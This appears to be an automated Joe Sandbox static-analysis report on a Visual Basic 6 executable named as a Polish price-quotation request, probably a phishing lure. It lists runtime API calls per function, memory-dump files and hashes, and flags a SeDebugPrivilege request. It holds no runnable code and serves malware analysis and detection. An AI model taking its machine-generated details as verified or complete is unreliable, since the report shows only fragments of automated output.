__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 77e56cfcc552817e7ee37a59d80ef930704b94eed13a9294e71aa4068a8ebed6
Instruction ID: 866caa4c8eac6f19f1194a02b11e2fb1ed896fcf014f3bed80b5db7ea06780d3
Opcode Fuzzy Hash: 77e56cfcc552817e7ee37a59d80ef930704b94eed13a9294e71aa4068a8ebed6
Instruction Fuzzy Hash: A53160B1A00158DFCB14DBA4ED94DEE7B79EF88300F10856AE506A3261DB345986CF68

Function 00417487 Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 7c020b0f20d6a8b4d01058b6d9886427e5cc45ac16c8490aeb7492273ba51688
Instruction ID: b6ea956760585b48cef5c944cb0b6b88b320cc0c6bf33020a7601fb965c6dcd1
Opcode Fuzzy Hash: 7c020b0f20d6a8b4d01058b6d9886427e5cc45ac16c8490aeb7492273ba51688
Instruction Fuzzy Hash: B33172B1A00118DFCB14DFA4ED84DEE7779EF88300F10456AE506E3261DB345986CF68

Function 004174A5 Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 02c7f454d40560d9c6661f647330d47c8efe8f1cef0e828d259a4e05a1306448
Instruction ID: 4ac9cb3760513d78d10cab075c76733cbf34af43b16f8391a80bd0b5696eddcc
Opcode Fuzzy Hash: 02c7f454d40560d9c6661f647330d47c8efe8f1cef0e828d259a4e05a1306448
Instruction Fuzzy Hash: 57316071A00159DFCB14DFA4ED84DEEBB79EF88300F50456AE506A3261DB346986CF98

Function 0041751D Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 94c476b80a82efe6d398e93fd76fd4f9bee1e122c1bd37c77481171981cade68
Instruction ID: 685c137c93b8fd798157623ef34c738d9d6605c7449a0796629f3e9ff1c3c11f
Opcode Fuzzy Hash: 94c476b80a82efe6d398e93fd76fd4f9bee1e122c1bd37c77481171981cade68
Instruction Fuzzy Hash: 383160B1A00158DFCB14DBA4ED84DEEB779FF88300B10456AE506E3261DB345986CFA8

Function 0041753B Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 8bb761deafcd7e2ded91a160ce823c526f59d3b1b33068874666e1dc9ed13cd2
Instruction ID: abceff13d7d3de1d96dc032862a960644500f493d2a40e7a9fa547c81a193ae3
Opcode Fuzzy Hash: 8bb761deafcd7e2ded91a160ce823c526f59d3b1b33068874666e1dc9ed13cd2
Instruction Fuzzy Hash: 463160B1A00118DFCB14DFA4ED94DEEBB79EF88300B10456AE506E3261DB745986CF68

Function 00417139 Relevance: 27.1, APIs: 18, Instructions: 89COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6CF7A323,6CF8D8B1,6CF8D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 392004513970ef635da4a611ab646abaa928053d5d8163be545aabfb3d7528fd
Instruction ID: b391c340adbf3e59c3df7a7246d9472bd0b0b55e754b724d87d5f09335da3bbb
Opcode Fuzzy Hash: 392004513970ef635da4a611ab646abaa928053d5d8163be545aabfb3d7528fd
Instruction Fuzzy Hash: 1E310DB5A00118DBDB14DBA4ED84DEE7779EF88300F50856AE506A3261DF34A986CF68

Function 0041F150 Relevance: 27.1, APIs: 18, Instructions: 84COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
#537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
#606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
__vbaStrMove.MSVBVM60 ref: 0041F1D1
__vbaFreeVar.MSVBVM60 ref: 0041F1DA
__vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
__vbaFreeStr.MSVBVM60 ref: 0041F218
#537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
__vbaStrMove.MSVBVM60 ref: 0041F238
__vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
#616.MSVBVM60(?,-00000001), ref: 0041F251
__vbaStrMove.MSVBVM60 ref: 0041F25C
__vbaFreeStr.MSVBVM60 ref: 0041F265
__vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B
__vbaErrorOverflow.MSVBVM60 ref: 0041F2B8

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$ErrorMove$#537$#606#616AnsiChkstkOverflowSystemUnicode
String ID:
API String ID: 1093449089-0
Opcode ID: ee02f3b2826ffa236948fc2c1f65590c4aa55ef8d50380a296c512f1be7178e6
Instruction ID: 0e4e532b7f79ceded0d12069193019f5775f2f1d5aa758d8f51e06bfe5b2f4ca
Opcode Fuzzy Hash: ee02f3b2826ffa236948fc2c1f65590c4aa55ef8d50380a296c512f1be7178e6
Instruction Fuzzy Hash: 20311C75900149EFDB04DFA4DA4CBDEBBB8FF08305F108169E502B62A0DB755A05CB64

Function 0041A2B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,0041A500,?,?,?,00000000,Function_000032B6), ref: 0041A2CE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A2FE
__vbaSetSystemError.MSVBVM60(?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A313
__vbaSetSystemError.MSVBVM60(?,00000028,?,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A32B
__vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 0041A37B
__vbaStrToAnsi.MSVBVM60(?,SeDebugPrivilege,?), ref: 0041A39A
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041A3AB
__vbaFreeStr.MSVBVM60 ref: 0041A3C3
__vbaCopyBytes.MSVBVM60(00000008,?,?), ref: 0041A420
__vbaSetSystemError.MSVBVM60(?), ref: 0041A475

Strings

SeDebugPrivilege, xrefs: 0041A391

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$System$AnsiBytesChkstkCopyFree
String ID: SeDebugPrivilege
API String ID: 1749655604-2896544425
Opcode ID: a09d8b27c4e060d415cd38d35f886b830d8e55dcf0cb0396c666bdd4df63c9ca
Instruction ID: 4de2d3f6ed40af32cba968f736910ab2351f3027917a15dd84bedccea81ef083
Opcode Fuzzy Hash: a09d8b27c4e060d415cd38d35f886b830d8e55dcf0cb0396c666bdd4df63c9ca
Instruction Fuzzy Hash: D0514B70901308DBEB10DFA1DA49BEEBBB8FB04704F20816EE105AB291D7B84A45DF56

Function 00429F50 Relevance: 22.6, APIs: 15, Instructions: 81COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
__vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
__vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
